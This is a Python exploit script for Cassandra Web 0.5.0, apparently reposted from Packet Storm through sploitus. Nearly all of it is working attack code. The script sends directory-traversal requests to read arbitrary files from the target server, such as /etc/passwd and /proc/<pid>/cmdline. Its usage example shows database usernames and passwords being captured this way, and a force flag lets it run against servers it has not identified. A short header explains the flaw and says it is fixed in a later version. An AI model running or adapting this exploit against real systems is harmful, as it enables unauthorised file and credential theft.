Share
## https://sploitus.com/exploit?id=PACKETSTORM:160729
#!/usr/bin/python  
# -*- coding: UTF-8 -*-  
#  
# cassmoney.py  
#  
# Cassandra Web 0.5.0 Remote File Read Exploit  
#  
# Jeremy Brown [jbrown3264/gmail]  
# Dec 2020  
#  
# Cassandra Web is vulnerable to directory traversal due to the disabled  
# Rack::Protection module. Apache Cassandra credentials are passed via the  
# CLI in order for the server to auth to it and provide the web access, so  
# they are also one thing that can be captured via the arbitrary file read.  
#  
# Usage  
# > cassmoney.py 10.0.0.5 /etc/passwd  
# root:x:0:0:root:/root:/bin/bash  
# daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  
# bin:x:2:2:bin:/bin:/usr/sbin/nologin  
# ...  
#  
# > cassmoney.py 10.0.0.5 /proc/self/cmdline  
# /usr/bin/ruby2.7/usr/local/bin/cassandra-web--usernameadmin--passwordP@ssw0rd  
#  
# (these creds are for auth to the running apache cassandra database server)  
#  
# Fix  
# - fixed in github repo  
# - v0.6.0 / ruby-gems when available  
# (still recommended to containerize / run this in some sandbox, apparmor, etc)  
#  
  
import os  
import sys  
import argparse  
import requests  
import urllib.parse  
  
SIGNATURE = 'cassandra.js'  
  
#  
# /var/lib/gems/2.7.0/gems/cassandra-web-0.5.0/app/public  
#  
DT = '../'  
DT_NUM = 8  
  
class CassMoney(object):  
def __init__(self, args):  
self.target = args.target  
self.file = args.file  
self.port = args.port  
self.force = args.force  
self.number = args.number  
  
def run(self):  
target = "http://" + self.target + ':' + str(self.port)  
  
payload = urllib.parse.quote_plus(DT * self.number + self.file)  
  
try:  
deskpop = requests.get(target)  
except Exception as error:  
print("Error: %s" % error)  
return -1  
  
if(SIGNATURE not in deskpop.text and self.force == False):  
print("Target doesn't look like Cassandra Web, aborting...")  
return -1  
  
try:  
req = requests.get(target + '/' + payload)  
except:  
print("Failed to read %s (perm denied likely)" % self.file)  
return -1  
  
if(SIGNATURE in req.text):  
print("Failed to read %s (bad path?)" % self.file)  
return -1  
  
if(len(req.text) == 0):  
print("Server returned nothing for some reason")  
return 0  
  
print("\n%s" % req.text)  
  
return 0  
  
def arg_parse():  
parser = argparse.ArgumentParser()  
  
parser.add_argument("target",  
type=str,  
help="Cassandra Web Host")  
  
parser.add_argument("file",  
type=str,  
help="eg. /etc/passwd, /proc/sched_debug + /proc/<cass-web-pid>/cmdline")  
  
parser.add_argument("-p",  
"--port",  
type=int,  
default=3000,  
help="Cassandra Web Port")  
  
parser.add_argument("-f",  
"--force",  
default=False,  
action='store_true',  
help="Run the payload even if server isn't Cassandra Web")  
  
parser.add_argument("-n",  
"--number",  
type=int,  
default=DT_NUM,  
help="Adjust the number of dot-dot-slash")  
  
args = parser.parse_args()  
  
return args  
  
def main():  
args = arg_parse()  
  
cm = CassMoney(args)  
  
result = cm.run()  
  
if(result > 0):  
sys.exit(-1)  
  
if(__name__ == '__main__'):  
main()